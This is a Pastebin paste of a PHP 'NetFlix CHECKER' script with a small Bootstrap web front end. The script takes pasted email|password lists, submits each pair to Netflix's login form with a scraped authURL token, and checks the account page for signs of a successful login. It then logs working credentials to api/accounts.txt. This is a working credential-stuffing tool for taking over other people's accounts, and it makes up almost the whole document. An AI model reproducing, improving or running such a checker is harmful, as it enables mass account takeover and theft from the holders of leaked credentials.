Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
8,600
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.82 KB | None | 0 0
  1. <?php
  2. $sock = '';
  3. error_reporting(0);
  4. function getStr($string,$start,$end){
  5. $str = explode($start,$string);
  6. $str = explode($end,$str[1]);
  7. return $str[0];
  8. }
  9. class cURL {
  10. var $callback = false;
  11. function setCallback($func_name) {
  12. $this->callback = $func_name;
  13. }
  14. function doRequest($method, $url) {
  15. $ch = curl_init();
  16. global $email, $pwd , $token;
  17. curl_setopt($ch, CURLOPT_URL, $url);
  18. curl_setopt($ch, CURLOPT_HEADER, 1);
  19. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); //
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  24. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  25. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/Netflix.txt'); //COOKIES
  26. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/Netflix.txt'); //COOKIES
  27. curl_setopt($ch, CURLOPT_REFERER, 'https://www.netflix.com/Login');
  28. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  29. if ($method == 'POST') {
  30. curl_setopt($ch, CURLOPT_POST, 1);
  31. curl_setopt($ch, CURLOPT_POSTFIELDS, 'email='.$email.'&password='.$pwd.'&flow=websiteSignUp&mode=loginPassword&action=loginAction&withFields=email%2Cpassword%2CrememberMe%2CnextPage&authURL='.$token.'&nextPage=&rememberMe=true'); // LIVE REQUESST
  32. }
  33. $data = curl_exec($ch); //
  34. curl_close($ch);
  35. if ($data) {
  36. if ($this->callback) {
  37. $callback = $this->callback;
  38. $this->callback = false;
  39. return call_user_func($callback, $data);
  40. } else {
  41. return $data;
  42. }
  43. } else {
  44. return curl_error($ch);
  45. }
  46. }
  47. function get($url) {
  48. return $this->doRequest('GET', $url, 'NULL');
  49. }
  50. function post($url) {
  51. return $this->doRequest('POST', $url);
  52. }
  53. }
  54.  
  55. echo '
  56. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  57. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  58. <head><title>NetFlix CHECKER V1 </title>
  59.  
  60. <meta charset="utf-8">
  61. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  62. <meta name="viewport" content="width=device-width, initial-scale=1">
  63. <title>Example of Bootstrap 3 Panels with Contextual States</title>
  64. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  65. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
  66. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
  67. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
  68. <style type="text/css">
  69. .bs-example{
  70. margin: 5px;
  71. }
  72. </style>
  73.  
  74. </head>
  75. <style>
  76. {
  77. background-color:black;
  78. font-size: 9pt;
  79. font-family:Verdana;
  80. line-height:12pt;
  81. color:;
  82. }
  83. body,td,th {
  84. color:black;
  85. }
  86. h2
  87. {
  88. color:;
  89. }
  90. h1 {
  91. padding: 10px 15px;
  92. color: red;
  93. }
  94. .main-content {
  95. width::; border-radius:;
  96. }
  97. textarea, input {
  98. border-radius:2%;
  99. }
  100. input {
  101. height:;o
  102. }
  103.  
  104.  
  105. .button {
  106.  
  107. }
  108. .submit-button
  109. {
  110. background:green;
  111. border:solid 1px;
  112. border-radius:5px;
  113. -moz-border-radius: 50px;
  114. -webkit-border-radius: 50px;
  115. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  116. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  117. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  118. border-bottom: 1px solid rgba(0,0,0,0.25);
  119. position: relative;
  120. color:;
  121. color:black;border:solid 1px green;
  122. display: inline-block;
  123. cursor:pointer;
  124. font-size:13px;
  125. padding:3px 6px;
  126. height: 30px;width: 100px;
  127. }
  128. .submit-button:hover {
  129. background:green;border:solid 1px green;
  130. height: 30px;width: 100px; }
  131.  
  132. #show {
  133. width: 70%;margin: auto;padding: 10px 9px;
  134. }
  135. .business{
  136. font-weight:bold;
  137. color:green;
  138. }
  139. .premier{
  140. font-weight:bold;
  141. color:#00FF00;
  142. }
  143. .verified{
  144. font-weight:bold;
  145. color:;
  146. }
  147. .fieldset{
  148. border:;
  149. margin-top:;
  150. }
  151. .tvmit_live{
  152. border:;
  153. color:green;
  154. font-weight:bold;
  155. }
  156. .tvmit_die{
  157. border:;
  158. color:red;
  159. font-weight:bold;
  160. }
  161. #result{
  162. display:none;
  163. }
  164. </style>
  165. <script type="text/javascript">
  166. function pushPaypalDie(str){
  167. document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
  168. }
  169. function pushPaypal(str){
  170. document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
  171. }
  172. function pushWrongFormat(str){
  173. document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
  174. }
  175. </script>
  176.  
  177. <head> <!-- Latest compiled and minified CSS -->
  178. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  179.  
  180. <!-- Optional theme -->
  181. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
  182.  
  183. <!-- Latest compiled and minified JavaScript -->
  184. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
  185.  
  186. <meta name="viewport" content="width=device-width, initial-scale=1">
  187. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  188.  
  189.  
  190. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-awesome.min.css">
  191. </head>
  192.  
  193. </head>
  194. <style type="text/css">
  195.  
  196. </style>
  197. <body>
  198. <body background="http://vorach.com/wp-content/uploads/2017/04/White-Wallpaper-HD-Texture-3G.jpg">
  199. <div class="main-content">
  200. <div class="col-xs-11" style="margin: 0px auto;float:none;"><div class="box"><div class="box-title"><h1>&nbsp;</i>&nbsp;&nbsp;<center>NetFlix</center></h3>
  201. <form method="post">
  202. <div align="center"><textarea name="mp" rows="10" style="width:90%">';
  203. if (isset($_POST['btn-submit']))
  204. echo $_POST['mp'];
  205. else
  206. echo 'MAIL|SİFRE';
  207. ;
  208. echo '</textarea><br />
  209. <br>
  210. AYİRAC: <input type="text" style="width:20px; text-align: center;" name="delim" value="';
  211.  
  212. if (isset($_POST['btn-submit']))
  213. echo $_POST['delim'];
  214. else
  215. echo '|';
  216. ;
  217. echo '" size="1" /><input type="hidden" name="mail" value="';
  218. if (isset($_POST['btn-submit']))
  219. echo $_POST['mail'];
  220. else
  221. echo 0;
  222. ;
  223. echo '" size="1" /><input type="hidden" name="pwd" value="';
  224. if (isset($_POST['btn-submit']))
  225. echo $_POST['pwd'];
  226. else
  227. echo 1;
  228. ;
  229. echo '" size="1" />&nbsp;
  230. <input type="submit" class="btn btn-info" value="Çaliştir" name="btn-submit" /> </br>&nbsp;&nbsp;&nbsp;&nbsp;
  231.  
  232. </div>
  233. </form>
  234. ';
  235. set_time_limit(0);
  236. include("use.php");
  237. function fetch_value($str, $find_start, $find_end) {
  238. $start = strpos($str, $find_start);
  239. if ($start === false) {
  240. return "";
  241. }
  242. $length = strlen($find_start);
  243. $end = strpos(substr($str, $start + $length), $find_end);
  244. return trim(substr($str, $start + $length, $end));
  245. }
  246. function fetch_value_notrim($str, $find_start, $find_end) {
  247. $start = strpos($str, $find_start);
  248. if ($start === false) {
  249. return "";
  250. }
  251. $length = strlen($find_start);
  252. $end = strpos(substr($str, $start + $length), $find_end);
  253. return substr($str, $start + $length, $end);
  254. }
  255. $dir = dirname(__FILE__);
  256. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
  257. if (!file_exists($config['cookie_file'])) {
  258. $fp = @fopen($config['cookie_file'], 'w');
  259. @fclose($fp);
  260. }
  261. $zzz = "";
  262. $live = array();
  263. function get($list) {
  264. preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  265. return $socks[0];
  266. }
  267. function delete_cookies() {
  268. global $config;
  269. $fp = @fopen($config['cookie_file'], 'w');
  270. @fclose($fp);
  271. }
  272. function xflush() {
  273. static $output_handler = null;
  274. if ($output_handler === null) {
  275. $output_handler = @ini_get('output_handler');
  276. }
  277.  
  278. if ($output_handler == 'ob_gzhandler') {
  279. return;
  280. }
  281.  
  282. flush();
  283. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  284. @ob_flush();
  285. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  286. @ob_end_flush();
  287. @ob_start();
  288. }
  289. }
  290. function curl_grab_page($site,$proxy,$proxystatus){
  291. $chss = curl_init();
  292. curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  293. if ($proxystatus == 'on') {
  294. curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  295. curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  296. curl_setopt($chss, CURLOPT_PROXY, $proxy);
  297. }
  298. curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  299. curl_setopt($chss, CURLOPT_URL, $site);
  300. return curl_exec($chss);
  301. curl_close ($chss);
  302.  
  303. }
  304. function display($str) {
  305. echo '<div>' . $str . '</div>';
  306. xflush();
  307. }
  308. //function pushSockDie($str) {
  309. // echo '<script type="text/javascript">pushSockDie(\'' . $str . '\');</script>';
  310. // xflush();
  311. //}
  312. function pushPaypalDie($str) {
  313. echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
  314. file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);
  315. xflush();
  316. }
  317. function pushPaypal($str) {
  318. echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
  319. file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);
  320. xflush();
  321. }
  322. function pushWrongFormat($str) {
  323. echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  324. xflush();
  325. }
  326.  
  327. if (isset($_POST['btn-submit'])) {
  328. ;
  329. echo '<br/>
  330. <br/>
  331. <div class="panel panel-success">
  332. <div class="panel-heading">
  333. <h3 class="panel-title">Saglam</h3>
  334. </div>
  335. <div id="listPaypal"></div>
  336. </div>
  337.  
  338. <div class="panel panel-danger">
  339. <div class="panel-heading">
  340. <h3 class="panel-title">pert</h3>
  341. </div>
  342. <div id="listPaypalDie"></div>
  343. </div>
  344. <br/>
  345.  
  346.  
  347. ';
  348. xflush();
  349. $emails = explode("\n", trim($_POST['mp']));
  350. $eCount = count($emails);
  351. $failed = $live = $uncheck = array();
  352. $checked = 0;
  353. if (!count($emails)) {
  354. continue;
  355. }
  356. delete_cookies();
  357. //$sockClear = isSockClear();
  358. //if ($sockClear != 1) {
  359. //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  360. //continue;
  361. //}
  362.  
  363. foreach ($emails AS $k => $line) {
  364. $info = explode($_POST['delim'], $line);
  365. $email = trim($info["{$_POST['mail']}"]);
  366. $pwd = trim($info["{$_POST['pwd']}"]);
  367. if (stripos($email, '@') === false || strlen($pwd) < 2) {
  368. unset($emails[$k]);
  369. pushWrongFormat($email . ' | ' . $pwd);
  370. continue;
  371. }
  372. //if ($failed[$sock] > 4)
  373. // continue;
  374.  
  375.  
  376.  
  377. if(file_exists(getcwd().'/Netflix.txt')) {
  378. unlink(getcwd().'/Netflix.txt');
  379. }
  380.  
  381.  
  382.  
  383. $a = new cURL();
  384. $b = $a->get("https://www.netflix.com/Login");//CHAMADA TOKEN
  385. $token = getStr($b,'type="hidden" name="authURL" value="','"'); //CHAMADA TOKEN
  386. $c = new cURL();
  387. $d = $c->post("https://www.netflix.com/Login"); //POST DA 2 CHAMADA
  388. $h = new cURL();
  389. $e = $h->get("https://www.netflix.com/YourAccount");
  390.  
  391. $checked++;
  392.  
  393.  
  394. if($d){
  395. if (stristr($e,'esquecer') !== false) {
  396. $nome = getStr($e,'class="profile-name" data-reactid="235">','</span>');
  397. $numero = getStr($e,'class="msgContent">','</section>'); // Verificar se a conta tem numero registrado
  398. $xyz = "<b style=\"color:green\">Lived => </b>|<b style=\"color:black\"> $email | $pwd | </b><b style=\"color:green\"> # NETFLİX CHECKER T1 #</b><b style=\"color:blue\">|SEM TELEFONE|</b> ";
  399. $live[] = $xyz;
  400. unset($emails[$k]);
  401. pushPaypal($xyz);
  402.  
  403. }
  404. else
  405.  
  406. if (stristr($d,'Adicionar perfil') !== false) {// RESULTADO DO LIVE.
  407. $xyz = "<b style=\"color:green\">Lived => </b>|<b style=\"color:black\"> $email | $pwd |</b><b style=\"color:green\"> # NETFLİX CHECKER T1#</b> ";
  408. $live[] = $xyz;
  409. unset($emails[$k]);
  410. pushPaypal($xyz);
  411.  
  412. }
  413. else{
  414.  
  415.  
  416. pushPaypalDie("<b style=\"color:red\">pert => </b>|<b style=\"color:black\"> $email | $pwd | </b><b style=\"color:red\"> # NETFLİX CHECKER T1 #</b> ");
  417.  
  418. unset($emails[$k]);
  419.  
  420.  
  421. }
  422.  
  423. }
  424. }
  425. }
  426. //if (isset($eCount, $live)) {
  427. // display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
  428. // display(implode("<br />", $live));
  429. if (count($emails)) {
  430. display("Sem Testar:");
  431. display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
  432. }
  433.  
  434. echo '</body>
  435. </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement